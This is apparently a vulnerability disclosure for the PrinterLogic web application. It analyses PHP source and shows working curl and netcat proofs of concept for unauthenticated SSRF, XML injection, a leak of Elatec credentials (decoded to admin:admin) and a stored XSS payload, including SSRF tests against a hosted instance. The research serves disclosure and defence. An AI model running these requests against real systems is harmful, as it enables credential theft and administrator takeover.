1 <?php [...] 769 function select_screen($ip, $token, $screen) 770 { 771 $header = get_header($token); 772 $body = '<selectScreen xmlns="http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl">'; 773 $body .= '<ScreenType>' . $screen . '</ScreenType>'; 774 $body .= '</selectScreen>'; 775 776 return processCurl($ip, $header, $body, "http://"); 777 } 555 function get_header($token) 556 { 557 $header = '<s:Header>'; 558 $header .= '<h:sessionHeader xmlns:h="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns:xsi="http ://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">'; 559 $header .= '<Token>' . $token . '</Token>'; 560 $header .= '</h:sessionHeader>'; 561 $header .= '</s:Header>'; 562 return $header; 563 }
With the processCurl
function defined in /var/www/app/console_release/toshiba/change_screens.php
:
1 <?php [...] 11 function processCurl($url, $XRX_SOAP_HEADER, $body, $h_ref = 'https://') 12 { 13 $FULL_XRX = processCurlBuildXRX($body, $XRX_SOAP_HEADER); 14 $XRX_URL = processCurlBuildURL($url, $h_ref); 15 Log::debug("Toshiba, toshiba_soap_helper, processCurl, url = " . $XRX_URL . ", full xrx = " . $FULL_XRX); 16 17 $ch = curl_init(); 18 $toshiba_url = config('cpa.toshiba.url'); 19 if ($toshiba_url !== '') { 20 $headers = [ 21 'Host:' . $toshiba_url, 22 ]; 23 } else { 24 $headers = [ 25 'Host: ' . get_host(), 26 ]; 27 } 28 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 29 curl_setopt($ch, CURLOPT_URL, $XRX_URL); 30 curl_setopt($ch, CURLOPT_POST, true); 31 curl_setopt($ch, CURLOPT_POSTFIELDS, $FULL_XRX); ? contains the retuned value of processCurlBuildXRX containing the attacker-controlled data 32 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 33 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 34 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 35 curl_setopt($ch, CURLOPT_SSLVERSION, CURL_SSLVERSION_SSLv3);
There is no verification of the $token
value. $token
goes into several functions (including processCurlBuildXRX()
that will add XML tags) but no checks are done and it is entirely possible for an attacker to add custom XML tags in order to craft XML data that will be sent by the remote printer, without authentication.
In order to bypass $token
, an attacker can include the following XML-based data in the GET request (?token=base64(..)
).
Crafting a custom $token
value, to inject additional XML value (CUSTOM-XML-HERE
):
$token = base64("</Token></h:sessionHeader></s:Header></s:Body></s:Envelope>CUSTOM-XML-HERE<!--")
The first tags will close the opened XML tags by the PHP code and the final <--
will comment out the rest of the tags added by the PHP code.
Using dynamic analysis, we can confirm this behavior.
Sending a request to PrinterLogic that will send request to a remote printer:
kali% curl "http://10.105.0.241/console_release/toshiba/change_screens.php?printer_id=2&token=$(echo XML-INJECTION | base64 -w0)"
On the machine that is declared as a printer in PrinterLogic, there is a HTTP request sent from PrinterLogic to the port 49629.
XML request sent to the printer without authentication and without filtering of data:
kali% nc -l -v -p 49629
listening on [any] 49629 ...
10.105.0.241: inverse host lookup failed: Host name lookup failure
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 58676
POST / HTTP/1.1
Host: 10.105.0.241
Accept: */*
x-datadog-trace-id: 932651358478891623
x-datadog-parent-id: 11324935202201644044
Content-Length: 652
Content-Type: application/x-www-form-urlencoded
<?xml version="1.0" encoding="utf-8"?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"><s:Header><h:sessionHeader xmlns:h="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns="http://www.toshibatec.co.jp/e-STUDIO/Common" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><Token>XML-INJECTION [1] XML injection
</Token></h:sessionHeader></s:Header><s:Body xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema"><selectScreen xmlns="http://www.toshibatec.co.jp/e-STUDIO/DeviceService/DeviceControl"><ScreenType>Menu</ScreenType></selectScreen></s:Body></s:Envelope>
This code pattern can be found in several files, allowing an attacker to interact with remote printers without authentication or to disclose internal paths or variables:
Example - request without authentication leading to path disclosure:
kali% curl "http://10.105.0.241/console_release/samsung/soap_server_0.php"
<?xml version="1.0" encoding="UTF-8"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"><SOAP-ENV:Body><SOAP-ENV:Fault><faultcode>WSDL</faultcode><faultstring>SOAP-ERROR: Parsing WSDL: Couldn't load from '/var/www/app/cons
ole_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl' : failed to load external entity "/var/www/app/console_release/samsung/../../console_release/toshiba/wsdl/EventServiceBinding.wsdl"
</faultstring></SOAP-ENV:Fault></SOAP-ENV:Body></SOAP-ENV:Envelope>
The file /www/app/console_release/samsung/get_device_info.php
allows reaching printers without authentication.
Content of /web/www/app/console_release/samsung/get_device_info.php
:
1 <?php [...] 11 if( requestint( 'printer_id', 0 ) != 0 ) 12 { 13 $printer_vo->id = requestint( 'printer_id', 0 ); 14 $printer_dao->load( $printer_vo ); [...] 30 $header = array(); 31 $header[] = 'Content-length: 0'; 32 $header[] = 'Content-type: application/json'; 33 $header[] = 'Authorization: OAuth oauth_signature="123456", oauth_version="1.0", oauth_consumer_key="test", oauth_signature_method="PLAINTEXT"'; 34 35 curl_setopt( $ch, CURLOPT_HTTPHEADER, $header ); 36 curl_setopt( $ch, CURLOPT_POST, true ); 37 curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo->str_host_address . ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" ); 38 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); 39 curl_setopt( $ch, CURLOPT_USERPWD, "$username:$password" ); 40 curl_setopt( $ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC );
Request to http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2
:
kali% curl "http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2"
error = Failed to connect to 10.105.0.239 port 8080: Connection refused
<BR><BR>Array
(
)
Array
(
)
kali%
When the printer is reachable on the port 8080, we can see PrinterLogic sending a HTTP request.
Request to http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2
:
kali% curl "http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2"
error = Empty reply from server
<BR><BR>Array
(
)
Array
(
)
kali%
On the server, acting as the printer, we receive this HTTP connection.
Request sent to the Printer by PrinterLogic without authentication:
kali% nc -l -v -p 8080
listening on [any] 8080 ...
10.105.0.241: inverse host lookup failed: Host name lookup failure
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 52954
POST /ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1
Host: 10.105.0.239:8080
Accept: */*
Content-length: 0
Content-type: application/json
Authorization: OAuth oauth_signature="123456", oauth_version="1.0", oauth_consumer_key="test", oauth_signature_method="PLAINTEXT"
x-datadog-trace-id: 843152030884643607
x-datadog-parent-id: 2752307119501071741
Expect: 100-continue
^C
kali%
The file /var/www/app/console_release/common/rfid_check.php
doesn't check authentication and allow changing parameters of printers using 4 different operations. This is one of the operations:
Content of /var/www/app/console_release/common/rfid_check.php
:
1 <?php [...] 97 else if( requestint( "rfid_delete", 0 ) != 0 ) 98 { 99 $rfid_dao = new rfid_data_dao(); 100 $rfid_vo = new rfid_data_vo(); 101 102 $rfid_vo->id = $_POST['rfid_delete']; 103 echo "";//$rfid_dao->delete_rfid( $rfid_vo ); 104 }
There is another example that may be used by a malicious admin to conduct blind SSRF. The resulting HTTP request sent by PrinterLogic will be: http://IP_PRINTER/cgi-bin/direct/printer/prtappse/semenu?page=bundles
. Again there is no authentication:
Content of /www/app/console_release/lexmark/dellCheck.php
:
1 <?php 2 require_once( "global.php" ); 3 require_once(ABSPATH."lib/dao/dbopen.php"); 4 require_once( ABSPATH . "lib/dao/printer_dao.php" ); 5 6 $printer_dao = new printer_dao(); 7 $printer_vo = new printer_vo(); 8 $printer_vo->id = requestint( 'printer_id', 0 ); 9 $printer_dao->load( $printer_vo ); 10 11 $url = "http://" . $printer_vo->str_host_address . "/cgi-bin/direct/printer/prtappse/semenu?page=bundles"; 12 $url_headers = @get_headers($url); 13 if(!$url_headers || strpos($url_headers[0], '200') === false) 14 { 15 $new_url = "http://" . $printer_vo->str_host_address . "/esf/prtappse/semenu?page=bundles"; 16 $new_url_headers = @get_headers($new_url); 17 if(!$new_url_headers || strpos($new_url_headers[0], '200') === false) 18 $contents = ""; 19 else 20 $contents = file_get_contents($new_url); 21 } 22 else 23 { 24 $contents = file_get_contents($url); 25 } 26 27 if(mb_stripos($contents, 'Bundle ID')){ 28 echo 'Lexmark'; 29 }
The file /var/www/app/console_release/fast_release/badge_register_process.php
manages the registration of badges used for authentication but this file doesn't support authentication.
The list of vulnerable PHP scripts is not exhaustive and the analysis was not completed due to the lack of time. A small sample has been provided in other sections with more in-depth analysis (SSRF).
A final example, the /var/www/app/console_release/km/console.php
file allows to remove jobs or to list them without authentication:
http://10.105.0.241/console_release/km/console.php?printer_id=1
This webpage will load the page /var/www/app/state/query/console_release.php
that doesn't check authentication. The only authentication is disabled because GLOBALS::$ENHANCED_SECURITY
is set to 0
by default.
Content of /var/www/app/state/query/console_release.php
:
1 <?php [...] 19 if(GLOBALS::$ENHANCED_SECURITY == 1 ) { 20 // Make sure the user has been logged in and the session is valid 21 if (!GLOBALS::$login->session_is_valid_portal()) { 22 respond_expired_json(); 23 return; 24 } 25 $printer_id = GLOBALS::$login->portal_get_printer_id(); 26 $user = GLOBALS::$login->get_user_name_portal(); 27 if (GLOBALS::$LDAP_EMAIL_RELEASE == 1 ) { 28 $email = $GLOBALS::$login->getEmail(); 29 } 30 } else { 31 $printer_id = GLOBALS::$login->get_printer_id_from_request(); 32 33 if (requestint("enc", 0) > 0) { 34 $decode_user = base64_decode(urldecode(requeststr("user", ""))); 35 $user = urldecode(substr($decode_user, 0, -30)); 36 } else 37 $user = requeststr("user", ""); 38 39 if (GLOBALS::$LDAP_EMAIL_RELEASE == 1) { 40 41 if ($user) { 42 $ldap_lookups = new LdapLookups(); 43 $ldap_lookups->loadLdapSettings(); 44 $email = $ldap_lookups->lookupAdUserEmail($user); 45 } 46 } 47 } [...] 156 //process the rest of the rows 157 while( $jobs_dao->next_row( $jobs_vo )) 158 { 159 //only process unique job_uuid's once if there is a value returned 160 if ($uniqueJobHelper->hasJobUuidBeenProcessed($jobs_vo)) { 161 continue; 162 } 163 array_push( $messages, 164 array( 165 "queue_id" => $jobs_vo["queue_id"], 166 "workstation_id" => $jobs_vo["workstation_id"], 167 "job_num" => $jobs_vo["job_num"], 168 "job_type" => $jobs_vo["job_type"], 169 "document_title" => str_replace( ',', '', $jobs_vo['document_title'] ), 170 "pages" => $jobs_vo['pages'], 171 "status" => $jobs_vo['status'], 172 "submitted" => $jobs_vo['submitted'] 173 ) 174 ); 175 } 176 } 177 echo json_encode( $messages );
Looking for ENHANCED_SECURITY
:
kali% rgrep 'ENHANCED_SECURITY' .
./config/settings.php.local:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
./config/settings.php:GLOBALS::$ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
./lib/common/load-settings.php: static $ENHANCED_SECURITY = 0; // Turn on Enhanced security for CPA
Using dynamic analysis, it was confirmed that the script doesn't check authentication.
It is then possible to extract information without authentication about the printed jobs for any user or to delete them. These information can be retrieved:
Futhermore, some debug code is still present:
Content of /var/www/app/state/query/console_release.php
:
1 <?php [...] 418 if( GLOBALS::$CONSOLE_RELEASE_TESTING == 1 ) 419 { 420 ob_start(); 421 print_r( $_POST ); 422 $output = ob_get_clean(); 423 \Storage::disk('cache')->put("xerox/z.txt", $output ); 424 }
PHP webpages are reachable without authentication and allow an attacker to perform administrative tasks.
The code present in the console_release
directory is poorly written and contains a big number of vulnerabilities.
The code allows an attacker to interact with remote printers without authentication.
It is possible to extract information without authentication about the printed jobs for any user or to delete them.
It is possible to remotely retrieve the Elatec password without authentication by using the script /www/app/console_release/fast_release/elatec_tcpconv2.php
(PoC provided below).
It is also possible to change the Elatec server (Elatec TCPConv 2), used for RFID authentication, to a malicious server (PoC provided below).
Finally, it is possible to have a blind SSRF and a normal SSRF.
On line 20 and 21, the verification of SSL is disabled, allowing an attacker on the network to Man-In-The-Middle the connection.
Content of /www/app/console_release/fast_release/elatec_tcpconv2.php
:
1 <?php [...] 9 $elatec_device = new PrinterLogic\Models\ElatecSimpleBadgeReleaseDevice(); 10 $elatec = $elatec_device->get_elatec_fast_release_settings(requestint("printer_id", 0), requeststr('ip_address', '')); 11 12 $elatec_is_setup = false; 13 $elatec_port_is_setup = false; 14 if ($elatec->usb_remote_host != '') { 15 $ch_check = curl_init(); 16 curl_setopt($ch_check, CURLOPT_URL, "http://" . $elatec->ip_address . ":81/pages/setup_usb.php"); 17 curl_setopt($ch_check, CURLOPT_USERPWD, $elatec->username . ":" . $elatec->password); // [1] leak of Elatec credentials 18 curl_setopt($ch_check, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 19 curl_setopt($ch_check, CURLOPT_RETURNTRANSFER, 1); 20 curl_setopt($ch_check, CURLOPT_SSL_VERIFYHOST, false); // [2] Insecure SSL/TLS connection 21 curl_setopt($ch_check, CURLOPT_SSL_VERIFYPEER, false); // [3] Insecure SSL/TLS connection 22 curl_setopt($ch_check, CURLOPT_TIMEOUT, 30); [...] 51 $post_values = "usb_newline=" . $elatec->newline . "&usb_tcp=" . $elatec->usb_tcp . "&usb_local_port=" . $elatec->usb_local_port 52 . "&usb_client_data=" . $elatec->usb_client_data . "&usb_ip=" . $elatec->usb_remote_host . "&usb_remote_port=" . $elatec->usb_remote_port 53 . "&usb_connect=" . $elatec->usb_connect . "&usb_connect_char=" . $elatec->usb_connect_char . "&usb_send_connect_char=" 54 . $elatec->usb_send_connect_char . "&usb_disconnect_on_given_char=" . $elatec->usb_discconect_on_given_char . "&usb_disconnect_on_char=" 55 . $elatec->usb_disconnect_on_char . "&usb_send_disconnect_char=" . $elatec->usb_send_disconnect_char 56 . "&usb_disconnect_timeout=" . $elatec->usb_disconnect_timeout; 57 $headers = array( 58 "POST /cgi-bin/setup_usb.py", 59 "Content-Type: application/x-www-form-urlencoded", 60 "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ /*;q=0.8", 61 "Accept-Encoding: gzip, deflate", 62 "Accept-Language: en-US,en;q=0.8" 63 ); 64 $ch = curl_init(); 65 curl_setopt($ch, CURLOPT_URL, "http://" . $elatec->ip_address . ":81/cgi-bin/setup_usb.py"); 66 curl_setopt($ch, CURLOPT_USERPWD, $elatec->username . ":" . $elatec->password); // [4] leak of Elatec credentials 67 curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC); 68 curl_setopt($ch, CURLOPT_POST, true); 69 curl_setopt($ch, CURLOPT_POSTFIELDS, $post_values); 70 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 71 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 72 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); // [5] Insecure SSL/TLS connection 73 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); // [6] Insecure SSL/TLS connection [...] 100 curl_setopt($ch2, CURLOPT_SSL_VERIFYHOST, false); // [7] Insecure SSL/TLS connection 101 curl_setopt($ch2, CURLOPT_SSL_VERIFYPEER, false); // [8] Insecure SSL/TLS connection [...] 120 echo json_encode($result); // [9] Output of the SSRF vulnerability 121 } else 122 echo $error_result; // [10] Output of the SSRF vulnerability 123 } else 124 echo $error_result; // [11] Output of the SSRF vulnerability [...] 129 $as2 = AccountSetting::updateOrCreate(['setting' => 'badge_managment_register_ip'], ['value' => requeststr('ip_address', ''), 'secure' => 0]); // [12] Change of IP for targeted Elatic device
Sending a request with a new ip_address
value, injecting a custom port without authentication:
HTTP request to change the configuration of Elatec without authentication:
kali% curl -kv "http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&ip_address=10.105.0.239:80/"
On the remote server (10.105.0.239:80), we can retrieve the login/password.
HTTP request from PrinterLogic containing Elatec credentials:
kali% sudo nc -n -l -v -p 80
listening on [any] 80 ...
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 36012
POST /:81/cgi-bin/setup_usb.py HTTP/1.1
Host: 10.105.0.239
Authorization: Basic YWRtaW46YWRtaW4=
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/ /*;q=0.8
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.8
x-datadog-trace-id: 14656536092520189759
x-datadog-parent-id: 7934684775867635564
Content-Length: 291
usb_newline=crlf&usb_tcp=client&usb_local_port=7777&usb_client_data=plain&usb_ip=10.105.0.241&usb_remote_port=7777&usb_connect=on_any_char&usb_connect_char=&usb_send_connect_char=yes&usb_disconnect_on_given_char=&usb_disconnect_on_char=&usb_send_disconnect_char=yes&usb_disconnect_timeout=10
kali% echo YWRtaW46YWRtaW4=|base64 -d
admin:admin
kali%
There is also no verification of SSL certificates.
This is also a SSRF, blind by default - This blind SSRF can be transformed into a normal SSRF depending on the HTTP response (line 120, 122 and 124).
The SSRF can be used to reach internal ressources.
It is possible to change the IP of the Elatec server (line 129) to a malicious server without authentication.
The leak of login/password can be used to compromise the Elatec solution, which is used for "Secure Printing using RFID".
Without authentication, It is possible to remotely change the RFIDeas server (RFIDeas Ethernet 241), used for RFID authentication, to a malicious server.
There is also a Blind SSRF.
Content of /www/app/console_release/fast_release/rfideas_241_install.php
:
1 <?php [...] 7 if( requestint( "printer_id", 0 ) != 0 ) 8 { 9 $port = 23; 10 $connection = @fsockopen( requeststr( "ip_address", "" ), $port, $errno, $errstr ); 11 if (!$connection) 12 { 13 $response = array( 14 "result" => "Connection Failed", 15 "errno" => $errno, 16 "errstr" => $errstr, 17 ); 18 echo json_encode( $response ); 19 } 20 else 21 { 22 $server_host = gethostname(); 23 $server_ip = gethostbyname( $server_host ); 24 $data_port_fail = true; 25 $data_ip_addr = true; [...] 72 fwrite($connection, "set init_serv_addr " . $server_ip . "\r"); 73 if (return_output($connection) === false) 74 $init_port_fail = false; [...] 114 $as = AccountSetting::updateOrCreate(['setting' => 'badge_managment_register_ip'], ['value' => requeststr('ip_address', ''), 'secure' => 0]); 115 echo json_encode($output);
Sending a request with a new $ip_address
value (10.105.0.239
), injecting a custom port (25
), we confirm there is a SSRF:
kali% curl -kv "http://10.105.0.241/console_release/fast_release/rfideas_241_install.php?printer_id=1&ip_address=10.105.0.239:25"
* Trying 10.105.0.241:80...
* Connected to 10.105.0.241 (10.105.0.241) port 80 (#0)
> GET /console_release/fast_release/rfideas_241_install.php?printer_id=1&ip_address=10.105.0.239:25 HTTP/1.1
> Host: 10.105.0.241
> User-Agent: curl/7.74.0
> Accept: */*
>
On the remote server (10.105.0.239), we get the connection on port 25:
kali% sudo nc -l -n -v -p 25
listening on [any] 25 ...
connect to [10.105.0.239] from (UNKNOWN) [10.105.0.241] 35956
The SSRF can be used to reach internal ressources.
It is possible to change the IP of the RFIDeas server (line 114) to a malicious server without authentication.
Using the previous vulnerability Pre-authentication Elatec password disclosure, Change to a malicious Elatec server and Blind-SSRF, it is possible to get a stored XSS on the $ip_address
value in the /www/app/console_release/fast_release/register_badge.php
file, without authentication:
Content of /www/app/console_release/fast_release/register_badge.php
:
32 <td colspan="3"> 33 <?php 34 ?> 35 An RFIDeas Ethernet 241 or Elatec TCPConv 2 with a badge reader is required for badge registration. 36 </td> 37 </tr> 38 <tr> 39 <td> 40 <input type="text" id="ip_address" onfocus="register_badge_jquery.watermark_focus( 'ip_address' );" onblur="register_badge_jquery.watermark_blur( 'ip_address' );" value="<?php echo $ip_address; ?>" /> [1] XSS 41 </td> 42 <td> 43 <div style="position: relative; top: -5px; padding-left: 10px;"> 44 <a class="button" id="install_rfid" style="top: 6px; position: relative;" onmousedown="register_badge_jquery.install_reader('rfideas');">Configure RFIDeas Ethernet 241</a>
Sending a request with a new $ip_address
value containing a stored XSS to /console_release/fast_release/elatec_tcpconv2.php
:
kali% curl -kv 'http://10.105.0.241/console_release/fast_release/elatec_tcpconv2.php?printer_id=1&ip_address="><script>alert(window.cookie)</script>'
{"result":"Error: Could not resolve host: \"><script>alert(window.cookie)<"}
There is now a stored XSS in http://10.105.0.241/console_release/fast_release/register_badge.php
:
http://10.105.0.241/console_release/fast_release/register_badge.php
The stored XSS can be used to steal cookies of administrators and get administrator access to the solution. This attack doesn't require authentication.
When analyzing the PHP files in /opt/www/app
, it appears a large number of SSRF vulnerabilities exist. They mainly can be exploited by administrators by providing wrong hostname/ip for printers. They are 42 calls to curl_setopt(.., CURLOPT_URL, ..)
:
kali% rgrep CURLOPT_URL .
./app/Console/Commands/XeroxSoapClient.php: curl_setopt($ch, CURLOPT_URL, $url);
./app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/XeroxSOAPHelper.php: curl_setopt( $ch, CURLOPT_URL, $xrxUrl );
./app/Helpers/XeroxSOAPHelper.php: curl_setopt($ch, CURLOPT_URL, $url);
./app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/ToshibaSoapHelpers.php: curl_setopt($ch, CURLOPT_URL, $xrxUrl);
./app/Helpers/HPSoapHelper.php: curl_setopt($ch, CURLOPT_URL, $sendUrl);
./lib/common/aws/lib/requestcore/requestcore.class.php: curl_setopt($curl_handle, CURLOPT_URL, $this->request_url);
./console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/xerox_auth_soap_server_0.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/installApp.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/xerox/removeApp.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/xerox/xerox_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/xerox/xerox_soap_helper.php: curl_setopt( $ch, CURLOPT_URL, $XRX_URL );
./console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/toshiba/toshiba_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/common/cpa_helper_functions.php: curl_setopt( $ch, CURLOPT_URL, $url );
./console_release/hp/installApp.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/hp/hp_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $sendUrl);
./console_release/lexmark/update.php: curl_setopt($ch, CURLOPT_URL, 'ftp://' . $this_vo->str_host_address . '/printerlogic.fls');
./console_release/lexmark/update.php: curl_setopt($ch, CURLOPT_URL, 'ftp://' . $this_vo->str_host_address . '/printerlogic.ucf');
./console_release/lexmark/installSettings.php: curl_setopt($ch, CURLOPT_URL, 'ftp://' . $printer_vo->str_host_address . '/printerlogic.ucf');
./console_release/lexmark/installApp.php:curl_setopt( $ch, CURLOPT_URL, 'ftp://' . $printer_vo->str_host_address . '/printerlogic.fls' );
./console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch_check, CURLOPT_URL, "http://" . $elatec->ip_address . ":81/pages/setup_usb.php");
./console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch, CURLOPT_URL, "http://" . $elatec->ip_address . ":81/cgi-bin/setup_usb.py");
./console_release/fast_release/elatec_tcpconv2.php: curl_setopt($ch2, CURLOPT_URL, "http://" . $elatec->ip_address . ":81/cgi-bin/reboot.py");
./console_release/samsung/samsung_rest_helper.php: curl_setopt($ch, CURLOPT_URL, $XRX_URL);
./console_release/samsung/list_apps.php: curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo->str_host_address . "/era/applications" );
./console_release/samsung/list_apps.php: curl_setopt( $ch_app, CURLOPT_URL, "http://" . $printer_vo->str_host_address . "/era/applications/" . $attributes["ID"] );
./console_release/samsung/get_device_info.php: curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo->str_host_address . ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" );
./console_release/samsung/remove_app.php: curl_setopt($ch, CURLOPT_URL, "http://" . $printer_vo->str_host_address . "/era/applications");
./console_release/samsung/remove_app.php: curl_setopt($ch_app, CURLOPT_URL,
./console_release/samsung/remove_app.php: curl_setopt($ch_del, CURLOPT_URL,
./console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch,CURLOPT_URL,$url);
./console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $url);
./console_release/km/konicaminolta_soap_helper.php: curl_setopt($ch, CURLOPT_URL, $url);
kali%
For example, in the file /var/ww/app/console_release/xerox/removeApp.php
, a HTTPS request will be sent to $url
. The variable $url
is made of https://" . $printer_vo->str_host_address . "/webservices/office/device_configuration/1
.
If $url
contains a custom domain name or a custom ip followed by a /?
, then a HTTPS request will be sent to this domain name or a custom ip. For example, a printer set to test.com/?
will provide a specific value for $url
: https://test.com/?/webservices/office/device_configuration/1
. The resulting request will be sent to test.com:443
.
Content of /var/ww/app/console_release/xerox/removeApp.php
:
1 <?php [...] 26 if( requestint( 'printer_id', 0 ) != 0 ) 27 { 28 $printer_vo->id = requestint( 'printer_id', 0 ); [...] 51 $url = "https://" . $printer_vo->str_host_address . "/webservices/office/device_configuration/1"; [...] 54 $ch = curl_init(); 55 curl_setopt($ch, CURLOPT_URL, $url); 56 curl_setopt($ch, CURLOPT_POST, true); 57 curl_setopt($ch, CURLOPT_POSTFIELDS, $xml); 58 curl_setopt($ch, CURLOPT_HTTPHEADER, $headers); 59 curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 60 curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, false); 61 curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false); 62 $version_response = ""; 63 try 64 { 65 $version_response = curl_exec($ch); 66 $version_error = curl_error($ch); 67 if($version_error != "")
The second example is available in /var/www/app/console_release/samsung/get_device_info.php
.
Content of www/app/console_release/samsung/get_device_info.php
:
1 <?php [...] 11 if( requestint( 'printer_id', 0 ) != 0 ) 12 { 13 $printer_vo->id = requestint( 'printer_id', 0 ); [...] 35 curl_setopt( $ch, CURLOPT_HTTPHEADER, $header ); 36 curl_setopt( $ch, CURLOPT_POST, true ); 37 curl_setopt( $ch, CURLOPT_URL, "http://" . $printer_vo->str_host_address . ":8080/ws/v1/tokenmgt/tokenmanager/createtoken" ); 38 curl_setopt( $ch, CURLOPT_RETURNTRANSFER, true ); 39 curl_setopt( $ch, CURLOPT_USERPWD, "$username:$password" ); 40 curl_setopt( $ch, CURLOPT_HTTPAUTH, CURLAUTH_BASIC ); 41 $response = ""; 42 try 43 { 44 $response = curl_exec( $ch ); [...] 56 $p = xml_parser_create(); 57 xml_parse_into_struct( $p, $response, $vals, $index ); 58 xml_parser_free( $p ); 59 print_r($vals); 60 echo "\n\n"; 61 print_r($index);
The code will blindy do SSRF without authentication:
kali% curl 'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'
error = Failed to connect to 10.105.0.239 port 8080: Connection refused
<BR><BR>Array
(
)
Array
(
)
By providing answers from 10.105.0.239:8080, we are able to print the response.
Basic TCP server running on 10.105.0.239:8080:
kali# echo "hello\n\nhow are you?\n\n" | nc -l -v -n -p 8080
HTTP request with SSRF, the answer is printed:
kali% curl 'http://10.105.0.241/console_release/samsung/get_device_info.php?printer_id=2'
<BR><BR>hello
how are you?
Array
(
)
Array
(
)
kali%
Testing against the SaaS version hosted in AWS works.
SSRF using the payload 159.65.[redacted].[redacted]/?
corresponding to a DigitalOcean test VPS:
kali% curl 'https://[redacted].printercloud10.com/console_release/samsung/get_device_info.php?printer_id=8'
<
<BR><BR><html>
<head><title>405 Not Allowed</title></head>
<body>
<center><h1>405 Not Allowed</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>
Array
(
[0] => Array
(
[tag] => HTML
[type] => open
[level] => 1
[value] =>
)
[1] => Array
(
The request from AWS appears in the remote server:
52.65.[redacted].[redacted] - - [11/Feb/2022:10:25:35 +0000] "POST /?:8080/ws/v1/tokenmgt/tokenmanager/createtoken HTTP/1.1" 405 166 "-" "-"
There is also a SSRF in /var/www/app/console_release/lexmark/installSettings.php
.
SSRF using the payload 159.65.[redacted].[redacted]/?
:
kali% curl -kv 'https://[redacted].printercloud10.com/console_release/lexmark/installSettings.php?printer_id=8'
The requests coming from AWS appear in the remote server:
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
52.65.[redacted].[redacted] - - [11/Feb/2022:12:49:31 +0000] "GET /?/cgi-bin/direct/printer/prtappse/semenu?page=bundles HTTP/1.0" 200 6 "-" "-"
